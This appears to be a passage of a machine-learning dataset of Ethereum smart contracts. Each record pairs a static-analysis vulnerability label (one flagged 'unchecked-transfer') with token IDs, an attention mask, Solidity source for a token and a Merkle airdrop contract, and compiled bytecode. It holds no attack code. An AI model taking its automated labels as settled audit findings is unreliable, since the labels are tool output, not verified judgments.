{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 15136, 2549, 2094, 2683, 2278, 2620, 14526, 5243, 2692, 2575, 18827, 11329, 14142, 2278, 17914, 21926, 2509, 2497, 2487, 2094, 2581, 26224, 2497, 2683, 2063, 18139, 2629, 2497, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2539, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,032
0x9619182A5e60B5f1BD2252b6a5F0552E5b728f14
// SPDX-License-Identifier: MIT /******************************************************************************\ * (https://github.com/shroomtopia) * Implementation of ShroomTopia's ERC20 SPOR Token /******************************************************************************/ pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import {ISPORToken} from "../../Shared/interfaces/ISPORToken.sol"; contract SPORTokenMainnet is Context, ISPORToken, Initializable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _cap; address private mainnetERC20Predicate; address private shroomTopiaDao; function initToken( uint256 cap_, uint256 initialsupply_, address team_, address mainnetERC20Predicate_, address shroomTopiaDao_ ) external initializer { _mint(team_, initialsupply_); mainnetERC20Predicate = mainnetERC20Predicate_; shroomTopiaDao = shroomTopiaDao_; _cap = cap_; } // Only ShroomTopia DAO can call this! function capChange(uint256 cap_) external { require(msg.sender == shroomTopiaDao, "ERC20: Not Authorized"); _cap = cap_; } function cap() public view virtual returns (uint256) { return _cap; } // Only ShroomTopia DAO can call this! function mint(address user, uint256 amount) external override { require(msg.sender == shroomTopiaDao || msg.sender == mainnetERC20Predicate, "ERC20: Not Authorized"); require(totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); _mint(user, amount); } function name() public view virtual override returns (string memory) { return "ShroomTopia SPOR Token"; } function symbol() public view virtual override returns (string memory) { return "SPOR"; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } // // SPDX-License-Identifier: MIT /******************************************************************************\ * (https://github.com/shroomtopia) * ShroomTopia's ERC20 SPOR Token Interface /******************************************************************************/ pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface ISPORToken is IERC20Metadata { function mint(address user, uint256 amount) external; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; import "../../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80633950935111610097578063a457c2d711610066578063a457c2d714610288578063a9059cbb146102b8578063d6e33489146102e8578063dd62ed3e14610304576100f5565b806339509351146101ee57806340c10f191461021e57806370a082311461023a57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd1461016657806328ff65fa14610196578063313ce567146101b2578063355274ea146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f9190611424565b60405180910390f35b610132600480360381019061012d9190611146565b610371565b60405161013f9190611409565b60405180910390f35b61015061038f565b60405161015d91906115a6565b60405180910390f35b610180600480360381019061017b91906110f7565b610399565b60405161018d9190611409565b60405180910390f35b6101b060048036038101906101ab91906111ab565b61049a565b005b6101ba61060b565b6040516101c791906115c1565b60405180910390f35b6101d8610614565b6040516101e591906115a6565b60405180910390f35b61020860048036038101906102039190611146565b61061e565b6040516102159190611409565b60405180910390f35b61023860048036038101906102339190611146565b6106ca565b005b610254600480360381019061024f9190611092565b61081c565b60405161026191906115a6565b60405180910390f35b610272610865565b60405161027f9190611424565b60405180910390f35b6102a2600480360381019061029d9190611146565b6108a2565b6040516102af9190611409565b60405180910390f35b6102d260048036038101906102cd9190611146565b610996565b6040516102df9190611409565b60405180910390f35b61030260048036038101906102fd9190611182565b6109b4565b005b61031e600480360381019061031991906110bb565b610a4e565b60405161032b91906115a6565b60405180910390f35b60606040518060400160405280601681526020017f5368726f6f6d546f7069612053504f5220546f6b656e00000000000000000000815250905090565b600061038561037e610ad5565b8484610add565b6001905092915050565b6000600354905090565b60006103a6848484610ca8565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103f1610ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610471576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610468906114e6565b60405180910390fd5b61048e8561047d610ad5565b8584610489919061164e565b610add565b60019150509392505050565b600060019054906101000a900460ff16806104c0575060008054906101000a900460ff16155b6104ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f6906114c6565b60405180910390fd5b60008060019054906101000a900460ff16159050801561054f576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6105598486610f1f565b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508560048190555080156106035760008060016101000a81548160ff0219169083151502179055505b505050505050565b60006012905090565b6000600454905090565b60006106c061062b610ad5565b848460026000610639610ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106bb91906115f8565b610add565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107735750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a9906114a6565b60405180910390fd5b6107ba610614565b816107c361038f565b6107cd91906115f8565b111561080e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080590611526565b60405180910390fd5b6108188282610f1f565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f53504f5200000000000000000000000000000000000000000000000000000000815250905090565b600080600260006108b1610ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590611566565b60405180910390fd5b61098b610979610ad5565b858584610986919061164e565b610add565b600191505092915050565b60006109aa6109a3610ad5565b8484610ca8565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b906114a6565b60405180910390fd5b8060048190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490611546565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490611466565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9b91906115a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f90611506565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f90611446565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690611486565b60405180910390fd5b8181610e1b919061164e565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ead91906115f8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f1191906115a6565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8690611586565b60405180910390fd5b8060036000828254610fa191906115f8565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff791906115f8565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161105c91906115a6565b60405180910390a35050565b60008135905061107781611a3d565b92915050565b60008135905061108c81611a54565b92915050565b6000602082840312156110a457600080fd5b60006110b284828501611068565b91505092915050565b600080604083850312156110ce57600080fd5b60006110dc85828601611068565b92505060206110ed85828601611068565b9150509250929050565b60008060006060848603121561110c57600080fd5b600061111a86828701611068565b935050602061112b86828701611068565b925050604061113c8682870161107d565b9150509250925092565b6000806040838503121561115957600080fd5b600061116785828601611068565b92505060206111788582860161107d565b9150509250929050565b60006020828403121561119457600080fd5b60006111a28482850161107d565b91505092915050565b600080600080600060a086880312156111c357600080fd5b60006111d18882890161107d565b95505060206111e28882890161107d565b94505060406111f388828901611068565b935050606061120488828901611068565b925050608061121588828901611068565b9150509295509295909350565b61122b81611694565b82525050565b600061123c826115dc565b61124681856115e7565b93506112568185602086016116d7565b61125f81611739565b840191505092915050565b60006112776023836115e7565b91506112828261174a565b604082019050919050565b600061129a6022836115e7565b91506112a582611799565b604082019050919050565b60006112bd6026836115e7565b91506112c8826117e8565b604082019050919050565b60006112e06015836115e7565b91506112eb82611837565b602082019050919050565b6000611303602e836115e7565b915061130e82611860565b604082019050919050565b60006113266028836115e7565b9150611331826118af565b604082019050919050565b60006113496025836115e7565b9150611354826118fe565b604082019050919050565b600061136c6019836115e7565b91506113778261194d565b602082019050919050565b600061138f6024836115e7565b915061139a82611976565b604082019050919050565b60006113b26025836115e7565b91506113bd826119c5565b604082019050919050565b60006113d5601f836115e7565b91506113e082611a14565b602082019050919050565b6113f4816116c0565b82525050565b611403816116ca565b82525050565b600060208201905061141e6000830184611222565b92915050565b6000602082019050818103600083015261143e8184611231565b905092915050565b6000602082019050818103600083015261145f8161126a565b9050919050565b6000602082019050818103600083015261147f8161128d565b9050919050565b6000602082019050818103600083015261149f816112b0565b9050919050565b600060208201905081810360008301526114bf816112d3565b9050919050565b600060208201905081810360008301526114df816112f6565b9050919050565b600060208201905081810360008301526114ff81611319565b9050919050565b6000602082019050818103600083015261151f8161133c565b9050919050565b6000602082019050818103600083015261153f8161135f565b9050919050565b6000602082019050818103600083015261155f81611382565b9050919050565b6000602082019050818103600083015261157f816113a5565b9050919050565b6000602082019050818103600083015261159f816113c8565b9050919050565b60006020820190506115bb60008301846113eb565b92915050565b60006020820190506115d660008301846113fa565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611603826116c0565b915061160e836116c0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116435761164261170a565b5b828201905092915050565b6000611659826116c0565b9150611664836116c0565b9250828210156116775761167661170a565b5b828203905092915050565b600061168d826116a0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f55780820151818401526020810190506116da565b83811115611704576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a204e6f7420417574686f72697a65640000000000000000000000600082015250565b7f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160008201527f647920696e697469616c697a6564000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332304361707065643a2063617020657863656564656400000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611a4681611682565b8114611a5157600080fd5b50565b611a5d816116c0565b8114611a6857600080fd5b5056fea2646970667358221220c97057891b3bc2fe9e2dd9b8371825b2fb0868504aa97be544fcd9449a8a18c864736f6c63430008030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 16147, 15136, 2475, 2050, 2629, 2063, 16086, 2497, 2629, 2546, 2487, 2497, 2094, 19317, 25746, 2497, 2575, 2050, 2629, 2546, 2692, 24087, 2475, 2063, 2629, 2497, 2581, 22407, 2546, 16932, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1032, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,033
0x96192Bbeb47F3f97927C18f274bE5B50360b9c61
// SPDX-License-Identifier: UNLICENSED pragma solidity =0.7.6; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/cryptography/MerkleProof.sol'; import './interfaces/IMerkleDistributor.sol'; contract MerkleDistributor is IMerkleDistributor { address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; address internal immutable _deployer; address internal immutable _beneficiary; constructor( address token_, bytes32 merkleRoot_, address beneficiary_ ) { token = token_; merkleRoot = merkleRoot_; _deployer = msg.sender; _beneficiary = beneficiary_; } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); // Mark it claimed and send the token. _setClaimed(index); require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.'); emit Claimed(index, account, amount); } function collectUnclaimed() external { require(msg.sender == _deployer, 'MerkleDistributor: not deployer'); uint256 balance = IERC20(token).balanceOf(address(this)); require(IERC20(token).transfer(_beneficiary, balance), 'MerkleDistributor: collectUnclaimed failed.'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the 